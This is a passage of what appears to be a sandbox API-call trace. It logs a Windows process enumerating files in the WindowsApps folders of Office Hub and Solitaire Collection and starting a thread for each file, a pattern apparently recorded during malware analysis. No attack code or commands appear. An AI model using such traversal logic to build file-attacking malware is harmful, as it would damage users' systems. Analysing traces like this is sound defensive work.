	[0078.761] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.761] wcscmp (_String1="..", _String2=".") returned 1
	[0078.761] wcscmp (_String1="..", _String2="..") returned 0
	[0078.761] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a0bc4b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62a0bc4b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62a0bc4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.761] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.761] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eb8e8
	[0078.761] wcscpy (in: _Dest=0x47eb8e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe"
	[0078.762] wcscat (in: _Dest=0x47eb8e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.762] wcscat (in: _Dest=0x47eb8e8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c
	[0078.990] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabdaf1a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628da999, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.990] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.990] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768710
	[0078.991] wcscpy (in: _Dest=0x4768710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe"
	[0078.991] wcscat (in: _Dest=0x4768710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.991] wcscat (in: _Dest=0x4768710, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84
	[0078.991] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a31eae, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62a31eae, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62a31eae, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2970, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.991] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.991] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47eabc8
	[0078.991] wcscpy (in: _Dest=0x47eabc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe"
	[0078.991] wcscat (in: _Dest=0x47eabc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.992] wcscat (in: _Dest=0x47eabc8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eabc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf88
	[0078.992] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.992] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.992] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4731668
	[0078.992] wcscpy (in: _Dest=0x4731668, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe"
	[0078.992] wcscat (in: _Dest=0x4731668, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.992] wcscat (in: _Dest=0x4731668, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4731668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c
	[0078.993] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.993] FindClose (in: hFindFile=0x2dad738 | out: hFindFile=0x2dad738) returned 1
	[0078.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc0468) returned 1
	[0078.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ec98) returned 1
	[0078.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e208) returned 1

Thread:
	id = 280
	os_tid = 0xfcc

	[0076.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d8a108
	[0076.803] wcscpy (in: _Dest=0x2d8a108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.803] wcscat (in: _Dest=0x2d8a108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.803] wcscat (in: _Dest=0x2d8a108, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0076.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0ba0
	[0076.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390dfd83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71480
	[0076.803] wcscmp (_String1=".", _String2=".") returned 0
	[0076.803] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390dfd83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.804] wcscmp (_String1="..", _String2=".") returned 1
	[0076.804] wcscmp (_String1="..", _String2="..") returned 0
	[0076.804] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391eadfd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x391eadfd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x391eadfd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x69d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.804] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.804] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x4f48d30
	[0076.804] wcscpy (in: _Dest=0x4f48d30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.804] wcscat (in: _Dest=0x4f48d30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.804] wcscat (in: _Dest=0x4f48d30, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f48d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18
	[0077.022] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390dfd83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x390dfd83, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x390dfd83, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.022] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.022] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x4732920
	[0077.022] wcscpy (in: _Dest=0x4732920, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.022] wcscat (in: _Dest=0x4732920, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.022] wcscat (in: _Dest=0x4732920, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8
	[0077.023] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391eadfd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x391eadfd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x391eadfd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x295a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.023] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.023] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d86140
	[0077.023] wcscpy (in: _Dest=0x2d86140, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.023] wcscat (in: _Dest=0x2d86140, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.023] wcscat (in: _Dest=0x2d86140, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc
	[0077.024] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x391eadfd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabe0794e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.024] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.024] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x2d86258
	[0077.024] wcscpy (in: _Dest=0x2d86258, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.024] wcscat (in: _Dest=0x2d86258, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.024] wcscat (in: _Dest=0x2d86258, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d86258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad0
	[0077.025] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96ea5b4, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.025] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.025] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x2db1470
	[0077.025] wcscpy (in: _Dest=0x2db1470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.025] wcscat (in: _Dest=0x2db1470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.025] wcscat (in: _Dest=0x2db1470, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2db1470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4
	[0077.026] FindNextFileW (in: hFindFile=0x2d71480, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925d50d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3925d50d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.026] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.026] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x2db15a8
	[0077.026] wcscpy (in: _Dest=0x2db15a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.026] wcscat (in: _Dest=0x2db15a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.026] wcscat (in: _Dest=0x2db15a8, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0077.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2db15a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8
